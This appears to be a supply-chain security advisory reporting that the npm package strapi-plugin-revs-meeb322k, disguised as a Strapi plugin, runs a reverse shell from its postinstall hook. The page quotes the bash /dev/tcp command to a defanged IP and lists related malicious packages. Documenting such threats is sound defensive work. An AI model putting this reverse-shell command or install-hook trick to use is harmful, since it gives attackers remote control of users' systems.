strapi-plugin-revs-meeb322k@3.6.8
Malicious code in strapi-plugin-revs-meeb322k (npm)
T1059.007 · JavaScriptT1059.004 · Unix ShellT1071 · Application Layer Protocol
Analysis
The package's postinstall hook runs a reverse shell. It executes `bash -c 'bash -i > /dev/tcp/14[.]225[.]210[.]85/443 2>&1'` via child_process, opening an interactive shell back to 14[.]225[.]210[.]85 on TCP port 443, and writes a marker file to /tmp. The package is disguised as a Strapi plugin.
- analyzed by
- Leitwacht
- first seen
- Sep 15, 2026, 04:42 AM
- analyzed
- Sep 15, 2026, 04:42 AM
Related advisories
- strapi-plugin-rs-meeb322k@3.6.8
- n8n-nodes-healthmon@1.0.0
- tailwind-form-kit@0.6.2
- hydration-ui-pkg@1.0.0
- tailwindcss-3d-styles@1.2.2
- grafeno-webhook@1.0.0
- r4wk-book@2.2.2
- dim-hydration-ui@1.0.0
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.